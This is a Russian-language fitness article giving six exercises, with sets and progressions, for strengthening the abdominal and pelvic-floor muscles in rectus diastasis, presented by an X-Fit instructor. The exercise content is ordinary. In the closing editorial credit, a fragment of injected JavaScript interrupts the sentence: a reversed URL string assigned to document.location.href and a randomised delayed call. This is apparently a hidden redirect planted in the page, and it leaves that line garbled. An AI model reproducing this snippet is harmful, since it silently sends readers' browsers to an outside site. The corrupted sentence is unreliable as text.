Диастаз – это расхождение прямых мышц живота. Чаще всего это случается у женщин после беременности, но диастаз возникает и у мужчин. При диастазе важно укреплять мышцы живота и тазового дна. Как это сделать — показывает Елизавета Елина, инструктор направления групповых программ сети фитнес-клубов X-Fit.
Елизавета Елина
инструктор направления групповых программ X-Fit
— Если лечащий врач не выявил противопоказаний к тренировкам, при диастазе можно и нужно приступать к выполнению упражнений, которые помогут укрепить мышцы пресса и тазового дна. Наиболее известные — это дыхательные упражнения и упражнения Кегеля, но не нужно недооценивать важность других комплексов. Сегодня я покажу вам один из возможных вариантов тренировки при диастазе прямых мышц живота.
Упражнения подобраны таким образом, что вы сможете регулировать интенсивность нагрузки, при этом будут прорабатываться прямая, поперечная, внутренние и наружные косые мышцы живота. Сохраняйте пресс напряжённым и выполняйте каждое упражнение по 10 раз на каждую сторону, в 1–3 подхода в зависимости от уровня вашей физической подготовки.
Читайте также: Диастаз: что это, почему возникает и как с ним бороться
Сгибания бёдер в положении лёжа на спине
- Исходное положение — лёжа на спине. Лопатки и крестец прижаты к полу, руки вытянуты вдоль корпуса, ладони прижаты к полу. Ноги согнуты под прямым углом, стопы расположены на полу на ширине таза. Сохраняйте естественный прогиб в пояснице.
- Не меняя положение поясницы и угла в коленном суставе, поднимите ногу, затем опустите и повторите упражнение в другую сторону.
Опускания ног в положении лёжа на спине
- Исходное положение — лёжа на спине. Лопатки и крестец прижаты к полу, руки вытянуты вдоль корпуса, ладони прижаты к полу. Ноги находятся на весу, углы в коленных и тазобедренных суставах прямые. Сохраняйте естественный прогиб в пояснице.
- Не меняя положения поясничного отдела позвоночника и углов в коленных суставах, поочерёдно опускайте ноги и касайтесь носками пола. Вариант прогрессии — вытягивать поочерёдно прямые ноги вперёд.
Мёртвый жук
- Исходное положение: лёжа на спине. Лопатки и крестец прижаты к полу, руки вытянуты вверх, ладони направлены друг на друга. Ноги находятся на весу, углы в коленных и тазобедренных суставах прямые. Сохраняйте естественный прогиб в пояснице.
- Попеременно вытягивайте руку и противоположную ногу, не касаясь ими пола, при этом положение поясницы и грудной клетки не должно меняться.
Ягодичный мост
- Исходное положение — лёжа на спине. Лопатки, крестец и ладони прижаты к полу, руки вытянуты вдоль корпуса. Ноги согнуты под прямым углом, стопы расположены на полу на ширине таза. Сохраняйте естественный прогиб в пояснице.
- Не меняя положения поясницы, упритесь ногами в пол, вытолкните таз вверх, напрягая ягодицы и задние поверхности бёдер. Вариант прогрессии — вытянуть в верхней точке одну ногу вперёд, не меняя положение корпуса.
«Птица — собака»
- Исходное положение — квадрат: ладони находятся под плечевыми суставами, колени под тазом, спина прямая.
- Попеременно вытягивайте разноимённые руку и ногу, не прогибаясь в пояснице.
- Вариант прогрессии — после того, как вы вытянете разноимённые руку и ногу, потянитесь локтем к колену, сохраняя корпус неподвижным, затем вернитесь в исходное положение.
Боковая планка
- Исходное положение — боковая планка. Опора на локоть и колено. Локоть находится под плечом, колено согнуто, стопа направлена назад. Колено сверху лежащей ноги прямое, стопа на полу. Сохраняйте ровную линию корпуса от макушки до колена. Вариант прогрессии — поднять лежащую сверху ногу.
- Выполните упражнение в статике по 30 секунд на каждую сторону.
Редакция fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru благодарит сеть фитнес-клубов X-Fit за помощь в организации и проведении съёмки.
Статьи по теме
Диастаз: что это, почему возникает и как с ним бороться
Короткая тренировка для красивого пресса: 6 упражнений на косые мышцы живота
Миф: кубики пресса появляются благодаря упражнениям
Тренировка мышц тазового дна: 3 упражнения от эксперта по функциональному движению
